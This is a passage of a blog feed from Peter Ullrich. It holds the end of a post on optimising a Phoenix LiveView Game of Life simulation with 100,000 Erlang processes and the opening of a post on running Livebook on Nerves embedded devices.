&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;td&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;cell-#&amp;lbrace;row&amp;rbrace;-#&amp;lbrace;col&amp;rbrace;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;cell #&amp;lbrace;if alive?, do: &amp;#39;alive&amp;#39;&amp;rbrace;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;tr&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I gave every cell an &lt;code&gt;id&lt;/code&gt; and added the &lt;code&gt;alive&lt;/code&gt; class if the cell was alive. The payload looked like this for every update:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/payload-with-id.png&quot; alt=&quot;A representation of the payload with IDs. The payload is a list of lists. Every list has an id and class parameter.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I didn&apos;t need the &lt;code&gt;id&lt;/code&gt; in the production code, I removed them, which decreased the payload size from &lt;code&gt;400kb&lt;/code&gt; to &lt;code&gt;230kb&lt;/code&gt; (&lt;code&gt;43%&lt;/code&gt;). Now, the payload looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/payload-wo-id.png&quot; alt=&quot;A representation of the payload without IDs. The payload is a list of lists. Every list only has a class parmeter now.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also didn&apos;t need the real class names. So, I replaced &lt;code&gt;cell&lt;/code&gt; with &lt;code&gt;c&lt;/code&gt; and &lt;code&gt;alive&lt;/code&gt; with &lt;code&gt;a&lt;/code&gt;. That decreased the payload by another &lt;code&gt;20%&lt;/code&gt; (down to &lt;code&gt;185kb&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;However, the payload contained the &lt;code&gt;class=c &lt;/code&gt;-part for all of the 100.000 cells. That seemed unnecessary to me, which is why I rewrote how I presented the &lt;code&gt;alive?&lt;/code&gt;-state. Here is the before and after comparison:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;# &lt;span style=&quot;color: #ffa657;&quot;&gt;Before&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;background&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;color&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;#fff&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;td&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;c #&amp;lbrace;if alive?, do: &amp;#39;a&amp;#39;&amp;rbrace;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;# &lt;span style=&quot;color: #ffa657;&quot;&gt;After&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;td&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;background&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;color&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;#fff&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;empty&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;background&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;color&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; #&lt;span style=&quot;color: #79c0ff;&quot;&gt;000&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;%=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;alive&lt;/span&gt;?&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;.&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;&lt;/&lt;span style=&quot;color: #e6edf3;&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, instead of toggling CSS classes, I rendered a dot in cells, which were alive, and used CSS logic to style non-empty cells. Now, the payload looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/payload-sm.png&quot; alt=&quot;The payload, which is now only a dot or empty. No more classes or id parameters.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This decreased the payload by another &lt;code&gt;70%&lt;/code&gt; down to &lt;code&gt;56kb&lt;/code&gt;. However, it somehow added a significant lag to the rendering of the grid. See for yourself in this video of &lt;code&gt;40.000&lt;/code&gt; cells being rendered. Do you see the lag between the message coming in and the rendering?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/lag.gif&quot; alt=&quot;A GIF that shows that the game board updates only half a second after the websocket message was received.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;td:empty&lt;/code&gt; CSS logic didn&apos;t cause the lag. I removed the CSS condition &lt;code&gt;td:empty&lt;/code&gt; and only rendered the dots. The lag was still there. My best guess is that the payload structure was different in such a way that caused &lt;code&gt;morphdom&lt;/code&gt; to slow down tremendously, but further research is needed here.&lt;/p&gt;
&lt;p&gt;Eventually, I settled on the following code (&lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/game_of_life/lib/game_of_life_web/live/page_live.html.heex&quot;&gt;GitHub&lt;/a&gt;):&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;td&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;background&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;color&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;#fff&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;td&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;alive&lt;/span&gt;?&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;&lt;/&lt;span style=&quot;color: #e6edf3;&quot;&gt;td&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this version, the payload was still manageable at &lt;code&gt;~80kb&lt;/code&gt; per update, but the lag was gone. It only sent the &lt;code&gt;class=a&lt;/code&gt; part for live cells and sent a &lt;code&gt;[&quot;&quot;]&lt;/code&gt; change otherwise.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/payload-md.png&quot; alt=&quot;The payload with a single parameter &apos;class&apos; which holds a class called &apos;a&apos; or is empty.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The following video renders &lt;code&gt;40.000&lt;/code&gt; cells without any lag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/no-lag.gif&quot; alt=&quot;An animation that shows that the game board updates immediately after it received the websocket message.&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#spawning-100000-processes-really-really-fast&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;spawning-100000-processes-really-really-fast&quot;&gt;&lt;/a&gt;Spawning 100.000 processes really, really fast&lt;/h2&gt;
&lt;p&gt;When I began a new game, the LiveView would first start 100.000 processes and link them to itself. Unfortunately, at first, this took up to 90 seconds! This seemed odd to me. I took to the &lt;a href=&quot;https://elixirforum.com/t/how-to-spawn-many-many-processes-really-fast/42141&quot;&gt;ElixirForum&lt;/a&gt; to ask way smarter people than me. My first assumption was that spawning 100.000 erlang processes simply took a while. So, I asked whether spawning them asynchronously would speed up the process. It &lt;a href=&quot;https://elixirforum.com/t/how-to-spawn-many-many-processes-really-fast/42141/11&quot;&gt;would not&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What was even odder was the fact that on other people&apos;s machines, it only took &lt;code&gt;500ms&lt;/code&gt; to spawn that many processes! Eventually, &lt;a href=&quot;https://elixirforum.com/t/how-to-spawn-many-many-processes-really-fast/42141/16&quot;&gt;Greg Vaughn&lt;/a&gt; had the genius solution: When I started a cell, and it randomly chose to be alive, it sent a message back to the LiveView to set its UI state to &lt;code&gt;alive&lt;/code&gt;. That caused the LiveView to handle up to 50.000 messages since there was a 50% chance of a cell to start alive.&lt;/p&gt;
&lt;p&gt;Usually, the LiveView would handle a lot of messages very quickly. However, in this situation, the messages from the cells to the LiveView somehow blocked or slowed down the spawning process tremendously. I first moved the sending of the message to the &lt;code&gt;handle_continue/2&lt;/code&gt;-block of the cell. That didn&apos;t change anything. Eventually, I removed sending back a message upon initialization altogether. With this fix, I could now spawn 100.000 processes in only &lt;code&gt;300ms&lt;/code&gt;! Thanks again to Greg Vaughn and all the others who contributed ❤️&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#duplicating-the-world-twice&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;duplicating-the-world-twice&quot;&gt;&lt;/a&gt;Duplicating the World. Twice.&lt;/h2&gt;
&lt;p&gt;One last worry I had was that I copied the entire game state on every cell update. Whenever a cell sent a &lt;code&gt;set_alive&lt;/code&gt;-message to the LiveView, I updated its state in the &lt;code&gt;staging_grid&lt;/code&gt;. The &lt;code&gt;staging_grid&lt;/code&gt; was just one giant map with 100.000 key-value pairs. Since maps are &lt;a href=&quot;https://darioghilardi.com/immutability-in-elixir/&quot;&gt;immutable&lt;/a&gt; in Elixir, this meant copying all the other 99.999 entries into a new map only to update a single value.&lt;/p&gt;
&lt;p&gt;However, I wrote a little &lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/game_of_life/lib/mix/tasks/benchmark.ex&quot;&gt;benchmark&lt;/a&gt; and was positively surprised to learn that updating a map with 100.000 key-value pairs takes only &lt;code&gt;500ns&lt;/code&gt; on average (that is &lt;code&gt;Nanoseconds&lt;/code&gt;)! Even with &lt;code&gt;10.000.000&lt;/code&gt; entries, the update took only around &lt;code&gt;1 microsecond&lt;/code&gt;, which is ridiculously fast (if one doesn&apos;t do machine learning).&lt;/p&gt;
&lt;p&gt;Before this test, the thought &lt;code&gt;Elixir is amazing, but not super fast&lt;/code&gt; lived in the back of my mind. After this test, I safely deleted this thought. Sure, for a few use-cases, it can&apos;t compete with e.g. &lt;code&gt;C&lt;/code&gt;. But for real-life applications, it hardly matters. That somehow relieved me.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#not-blowing-up-the-hardware&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;not-blowing-up-the-hardware&quot;&gt;&lt;/a&gt;(Not) blowing up the hardware&lt;/h2&gt;
&lt;p&gt;While running the game with 100.000 processes, I used the wonderful &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_dashboard&quot;&gt;LiveDashboard&lt;/a&gt; to monitor my machine and analyze the hardware consumption of the game. Unfortunately, I discovered that the memory usage slowly but steadily increased from initially &lt;code&gt;150mb&lt;/code&gt; to later on multiple gigabytes. I did not analyze this finding further, but I assume that the update frequency of the game was too high.&lt;/p&gt;
&lt;p&gt;When a cell receives the &lt;code&gt;:tock&lt;/code&gt;-message too soon after the initial &lt;code&gt;:tick&lt;/code&gt;-message, it might not be able to handle all incoming messages from its neighbors in time before the next round starts. The queue of unhandled messages would build up over time, leading to more memory consumption per process. However, I did not confirm this assumption, and further investigation is needed here.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#putting-it-all-together&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;putting-it-all-together&quot;&gt;&lt;/a&gt;Putting it all together&lt;/h2&gt;
&lt;p&gt;With all the fixes and performance tweaks in place, it was time to put the game to the test! I recorded 3 minutes of the game and put it up on YouTube. The following video shows the game in real-time with &lt;code&gt;100.000 processes&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://youtu.be/RrLs7ooAzTI?si=dsYghsAZyDtcmq35&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-end&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-end&quot;&gt;&lt;/a&gt;The end&lt;/h2&gt;
&lt;p&gt;Thank you for sticking until the end! I hope you could learn a bit and found this article somewhat helpful. If you have any questions, please don&apos;t hesitate to message me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or comment on my &lt;a href=&quot;https://twitter.com/pjullrich/status/1434223569794445314?s=21&quot;&gt;Tweet&lt;/a&gt; about this project. Until next time! Cheerio!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/simulating-game-of-life-with-100000-erlang-processes"/>
    <id>https://peterullrich.com/simulating-game-of-life-with-100000-erlang-processes</id>
    <title>Simulating Conway&apos;s Game of Life with 100.000 Erlang Processes</title>
    <updated>2021-09-06T15:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Recently, I attended a great talk by the creator of the Nerves library, &lt;a href=&quot;https://twitter.com/fhunleth&quot;&gt;Frank Hunleth&lt;/a&gt;, organized by the wonderful &lt;a href=&quot;https://twitter.com/elixirkenya&quot;&gt;ElixirKenya&lt;/a&gt; community. He presented his &lt;a href=&quot;https://github.com/fhunleth/nerves_livebook&quot;&gt;nerves_livebook&lt;/a&gt;-project, which showcased how to setup &lt;a href=&quot;https://github.com/livebook-dev/livebook&quot;&gt;Livebook&lt;/a&gt; on a &lt;a href=&quot;https://github.com/nerves-project/nerves&quot;&gt;Nerves&lt;/a&gt; device. I found the topic incredibly interesting since it solved an issue I encounter every time I use Nerves. Here&apos;s a shortened setup tutorial for how to setup Livebook on your Nerves device.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;If you have ever worked with Nerves and embedded devices before, you might know how tedious updating the code running on your device can be. Usually, I write code in VS Code, bundle it into a new firmware version, and upload it to the running device with &lt;code&gt;mix firmware &amp;&amp; ./upload.sh&lt;/code&gt;. The device then would check that the updated firmware boots correctly, shut down the old code, and switch over to the new version. All in all, this usually takes about 2-3 minutes. It doesn&apos;t sound like much, but &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_reload&quot;&gt;hot reloading&lt;/a&gt; became a thing not without reason. Especially when I write code &quot;exploratively&quot;, that is just trying things out until they work, I often miss the &lt;code&gt;Simply reload your website and you&apos;ll see the new version&lt;/code&gt;-comfort of hot reloading code.&lt;/p&gt;
&lt;p&gt;Until recently, there were limited ways of achieving &quot;hot reloading&quot; with Nerves. I could simply copy&amp;paste updated code into the ssh console running on the device. It works well with modules, since they get overwritten. However, I would usually write the code in the ssh console and copy it into a file on my computer. Then, I would copy&amp;paste the entire module from the file back into the ssh console and voilá: The device now holds the updated version of a module. It works, but it is tedious and requires a lot of copy&amp;pasting.&lt;/p&gt;
&lt;p&gt;Another option was to use the &lt;a href=&quot;https://github.com/kentaro/mix_tasks_upload_hotswap&quot;&gt;Mix.Tasks.Upload.Hotswap&lt;/a&gt; library. I would start an elixir node on my computer and connect it to an elixir node running on the device. Whenever I change the code on the computer, I run &lt;code&gt;mix upload.hotswap&lt;/code&gt;, and the new code gets deployed to the device automagically. This library is pretty cool but requires a bit of setup, and I would still need to write the code in the ssh console to &quot;just try things out&quot;.&lt;/p&gt;
